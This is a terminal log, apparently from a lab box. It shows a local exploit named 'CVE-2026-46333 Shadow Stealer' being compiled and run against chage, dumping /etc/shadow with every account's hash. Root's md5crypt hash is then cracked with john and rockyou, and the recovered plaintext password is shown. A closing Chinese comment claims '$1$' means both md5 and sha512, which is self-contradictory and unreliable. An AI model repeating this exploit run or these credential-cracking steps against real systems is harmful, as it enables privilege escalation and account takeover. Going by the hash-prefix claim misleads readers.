HGBE@Maze:~/CVE-2026-46333-main$ gcc CVE-2026-46333-shadow.c HGBE@Maze:~/CVE-2026-46333-main$ ls a.out CVE-2026-46333.c CVE-2026-46333-shadow.c README.md HGBE@Maze:~/CVE-2026-46333-main$ ./a.out [+] CVE-2026-46333 Shadow Stealer by 0xBlackash [+] Target: /etc/shadow via chage [+] Found chage at: /usr/bin/chage [+] Starting race... [+] SUCCESS! Stolen /etc/shadow (round 2) === /etc/shadow === root:$1$ruYlbiCu$mBcGHz1E10Io.PT.JVnml0:20568:0:99999:7::: daemon:*:20568:0:99999:7::: bin:*:20568:0:99999:7::: sys:*:20568:0:99999:7::: sync:*:20568:0:99999:7::: games:*:20568:0:99999:7::: man:*:20568:0:99999:7::: lp:*:20568:0:99999:7::: mail:*:20568:0:99999:7::: news:*:20568:0:99999:7::: uucp:*:20568:0:99999:7::: proxy:*:20568:0:99999:7::: www-data:*:20568:0:99999:7::: backup:*:20568:0:99999:7::: list:*:20568:0:99999:7::: irc:*:20568:0:99999:7::: _apt:*:20568:0:99999:7::: nobody:*:20568:0:99999:7::: systemd-network:!*:20568:::::1: dhcpcd:!:20568:::::: systemd-timesync:!*:20568:::::1: messagebus:!*:20568:::::: sshd:!*:20568:::::: HGBE:$y$j9T$6s8e/tmZzXrU4OrSoRLon0$KZP4gL2mULtpnfaPi5lkgxENm7XsJyxZsFfNiOK8XG0:20589:0:99999:7::: ll104567:$y$j9T$DsJIEsWyKmgsyfagD.NiU/$O2iv6sfA1EaKiBMGd5z2Q1M3nZWX3Uyzr.FkgSQz9G.:20589:0:99999:7::: mono:$y$j9T$UR5AFwviu9GhcPHEyJm8m/$PZX86ZOVLxDHM8qtf4j/D7byiFaEl7g5XrcJGrr54e5:20589:0:99999:7::: lzh:$y$j9T$4Hb4MDqV5X/eYrwX20DG/.$L83CJ2ClORTxjovzJhO9YpSFbTitH.IKJTAc.Q76rEA:20589:0:99999:7:::┌──(root㉿kali)-[/home/kali1/hgbe] └─# cat root root:$1$ruYlbiCu$mBcGHz1E10Io.PT.JVnml0:20568:0:99999:7::: ┌──(root㉿kali)-[/home/kali1/hgbe] └─# john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt root Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 512/512 AVX512BW 16x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status juju01 (root) 1g 0:00:00:00 DONE (2026-07-10 13:26) 2.777g/s 556800p/s 556800c/s 556800C/s karmann..jack31 Use the "--show" option to display all of the cracked passwords reliably Session completed.$1$代表的是md5加密，$1$代表的是sha512加密，所以这里的root密码很好破解。